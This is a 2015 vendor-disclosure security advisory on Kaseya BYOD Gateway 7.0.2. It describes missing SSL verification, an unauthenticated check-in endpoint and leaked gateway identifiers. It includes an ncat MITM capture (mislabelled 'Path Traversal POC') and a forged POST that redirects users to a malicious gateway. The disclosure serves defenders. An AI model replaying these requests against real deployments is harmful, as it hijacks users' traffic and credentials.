security-assessment.com

Vulnerability Advisory – Vendor Disclosure

Name	Kaseya BYOD Gateway – Multiple Vulnerabilities
Vendor Website	http://www.kaseya.com/
Affected Software	Kaseya BYOD Gateway 7.0.2
Date Released	29th January 2015
Researchers	Denis Andzakovic

Description

This document details multiple vulnerabilities found within the Kaseya BYOD Gateway software. By chaining a combination of lacking SSL verification, poor authentication mechanisms and arbitrary redirection vulnerabilities, a malicious entity may potentially compromise any Kaseya BYOD installation.

The Kaseya BYOD Gateway software uses a redirection feature, wherein users are redirected to their local Kaseya installation via Kaseya's hosted servers. The update request from the BYOD Gateway software to the Kaseya hosted servers was not found to verify SSL certificates and fails to implement any form of authentication, instead relying on the length of the gateway identifier to provide security. Thus, the security of the solution depends on an attacker's ability to enumerate the gateway identifier. Once a malicious user enumerates the Gateway identifier, then they may update the redirect rule for that customer in Kaseya's hosted servers, redirecting customers to a malicious Kaseya BYOD Gateway.

Exploitation

Lack of SSL Certificate Verification

The Kaseya BYOD Gateway was not found to validate SSL certificates when contacting the Kaseya hosted servers. Requests were found to be made to the Kaseya hosted servers when updating redirection information (for local-network-only instances of Kaseya) and when submitting licensing information. This allows a malicious entity with network access somewhere between the BYOD Gateway and Kaseya's servers to perform a Man-In-The-Middle attack.

The following screenshot shows a successful Man-In-The-Middle attack against the Kaseya BYOD Gateway

Path Traversal POC

```
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 4E28 35E4 58DD 214F 3C0A 6B22 88C8 1408 8AF2 FA32
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from [redacted].
Ncat: Connection from [redacted]:59183.
POST /checkin/gateway/rq-d389fcd23ee011e486cb123139104406 HTTP/1.1
Accept-Encoding: identity
Content-Length: 592
Host: provision.relay.kaseya.net
Content-Type: text/xml
Connection: close
User-Agent: Kaseya-Tetra/7.0.2 (CL 7)

<checkin><gateway version="7.0.2" clevel="7" appname="Kaseya-Tetra"/><platform kind="windows" version="6.2.9200"/><users owner="t
[redacted]" active="2"/><devices active="2"/><siteinfo url="http://test:8080/siteinfo/"/><connectors><connector vers
1.1" id="ProxyConnector"/><connector version="1.1" id="DirConnector"/><connector version="1.1" id="FileConnector"/><connector ver
"1.0" id="HomeConnector"/><connector version="1.0" id="LinkConnector"/><connector version="1.1" id="MenuConnector"/><connector ve
="1.2" id="StaticSiteConnector"/></connectors></checkin>
```

Arbitrary Redirection

By intercepting and replaying the above request, a malicious entity may specify an arbitrary 'url' parameter within the 'siteinfo' XML tag. The Kaseya provisioning relay server then updates the BYOD Gateway redirect with the URL specified. The redirection takes place when a user queries https://provision.relay.kaseya.net/siteinfo/<code> (where code is the installation's 6 digit access code). The https://provision.relay.kaseya.net/siteinfo/<code> page is queried during the Kaseya BYOD mobile applications' start up process in order to determine the location of the BYOD Gateway. The following table details the update request sent and subsequent response when querying the Kaseya provisioning relay:

Malicious Redirection Update Request

```
POST /checkin/gateway/rq-be9781109e7111e3afa822000ab9104f HTTP/1.1
Accept-Encoding: identity
Content-Length: 570
Host: provision.relay.kaseya.net
Content-Type: text/xml
Connection: close
User-Agent: Kaseya-Tetra/7.0.2 (CL 7)

<checkin><gateway version="7.0.2" clevel="7" appname="Kaseya-Tetra"/><platform
kind="windows" version="6.2.9200"/><users owner="foo" active="2"/><devices
active="2"/><siteinfo
url="http://testtest:8080/siteinfo/"/><connectors><connector version="1.1"
id="ProxyConnector"/><connector version="1.1" id="DirConnector"/><connector
version="1.1" id="FileConnector"/><connector version="1.0"
id="HomeConnector"/><connector version="1.0" id="LinkConnector"/><connector
version="1.1" id="MenuConnector"/><connector version="1.2"
id="StaticSiteConnector"/></connectors></checkin>
```

Arbitrary Redirection Response (https://provision.relay.kaseya.net/siteinfo/<code>)

```
HTTP/1.1 303 See Other
Content-Length: 106
Vary: Accept-Encoding
Server: Rover-Danio/1.4.0 (danio-kaseya)
Location: http://testtest:8080/siteinfo/
Date: Tue, 30 Sep 2014 09:10:59 GMT
Content-Type: text/html;charset=utf-8

This resource can be found at <a
href='http://testtest:8080/siteinfo/'>http://testtest:8080/siteinfo/</a>.
```

Once an installation's Gateway Identifier is known (rq-be9781109e7111e3afa822000ab9104f in the example above), a malicious entity may control the redirection and send users to their own malicious Kaseya BYOD Gateway. This code was found to be disclosed in a number of locations, including device logs, in the Kaseya BYOD Gateway's pages or by Kaseya's hosted relay servers. The following screenshot shows the installation's Gateway Identifier being disclosed by Kaseya's servers during the mobile application's start up process:

Disclosed Gateway Identifier

```
GET /siteinfo HTTP/1.1
Host: sd9ywtb10y2h.ap-southeast-2.relay.kaseya.net
Connection: Keep-Alive
User-Agent: Kaseya-Browser/7.0 (CL 5; Galaxy Nexus 4.2.2)
```

```
HTTP/1.1 200 OK
Date: Tue, 30 Sep 2014 10:10:01 GMT
Content-Type: application/vnd.roverapps.siteinfo+xml
Content-Length: 1263
Connection: keep-alive
Vary: Accept-Encoding
Server: Kaseya-Tetra-Portal/7.0.2 (CL 7)
Etag: "fb4fc21204283fa370870097a4b2240d"

<?xml version='1.0' encoding='UTF-8'?>
<gateways>
  <gateway>
    <gwid>rq-d389fcd23ee011e486cb123139104406</gwid>
    <cert>-----BEGIN CERTIFICATE-----
```

Solution

No official solution is currently available for this issue.

Timeline

03/10/2014 – Initial contact with Kaseya Support
09/10/2014 – Established Kaseya security contact
13/10/2014 – Advisories sent to Kaseya
21/10/2014 – Additional information sent to Kaseya
22/11/2014 – Update from Kaseya
29/01/2015 – Release of this advisory

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650